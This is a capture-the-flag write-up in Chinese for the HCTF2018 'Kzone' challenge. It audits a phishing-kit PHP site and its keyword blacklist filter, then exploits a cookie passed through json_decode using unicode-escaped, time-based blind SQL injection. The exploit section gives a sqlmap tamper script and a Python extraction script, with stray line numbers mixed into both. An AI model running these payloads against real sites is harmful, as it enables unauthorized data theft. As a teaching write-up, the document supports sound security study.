HCTF2018 Kzone Write-up
0x01 Analyse
www.zip
内容
1 | ├── 2018.php |
看2018.php里1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
$username = addslashes($_POST['user']);
$password = addslashes($_POST['pass']);
$address = getCity($realip);
$time = date("Y-m-d H:i:s");
$ua = $_SERVER['HTTP_USER_AGENT'];
$device = get_device($ua);
$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
header("Location: https://i.qq.com/?rd=" . $username);
} else {
header("Location: https://i.qq.com/?rd=" . $username);
}
大概是钓鱼网站常规套路了,就是把用户信息扔进数据库
一个一个点看,发现Common.php
里把safe.php
都包含了
然后来看safe.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|#|s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
.....
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
直接用一个backlist,然后将Get/POST/Cookie三种传参方式全部过滤了一遍
跟一下real_ip()
1
2
3
4
5
6
7
8
9
10
11
12function real_ip()
{
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}
使用了ip2long来转换了ip格式,这样也没办法了..
继续审计,找有SQL交互的地方
1 | if (isset($_COOKIE["islogin"])) { |
这里可以看到利用了一个json_decode()
函数,将$_COOKIE
中的login_data带入到SQL语句中:
SELECT * FROM fish_admin WHERE username='$admin_user' limit 1
这里就造成了,我们可以使用unicode进行绕过,因为json_decode是可以将unicode字符解码的
那么,就可以直接bypass进行注入了
0x02 Exploit
我们只用unicode就可以绕过的话,就相当于没有过滤的注入了,可以选择使用sqlmap or 自己写脚本
tamper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()
payload = payload.replace('o', '\u006f')
payload = payload.replace('u', '\u0075')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payloadpython
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import requests
import time
url = "http://45.32.75.237:10000/admin/login.php"
flag = ''
dic = "0123456789abcdefghijklmnopqrstuvwxyz{}_ABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+|,-./:;<=>?@"
for x in range(1,50):
for i in dic:
startTime = time.time()
poc1 = "'\u006fr\u0020su\u0062str(passwo\u0072d,{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,chr(i))
admin BE933CBA048A9727A2D2E9E08F5ED046
poc2 = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020table_name\u0020from\u0020inf\u006frmation_schema.tables\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
#F1444g
poc3 = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020column_name\u0020from\u0020inf\u006frmation_schema.columns\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
#F1a9
poc4 = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020F1a9\u0020from\u0020F1444g\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
headers = {"Cookie":'islogin=1; login_data={\"admin_user\":\"'+poc4+'\"}'}
r = requests.get(url,headers=headers)
if time.time() - startTime > 5:
flag += i
print flag
break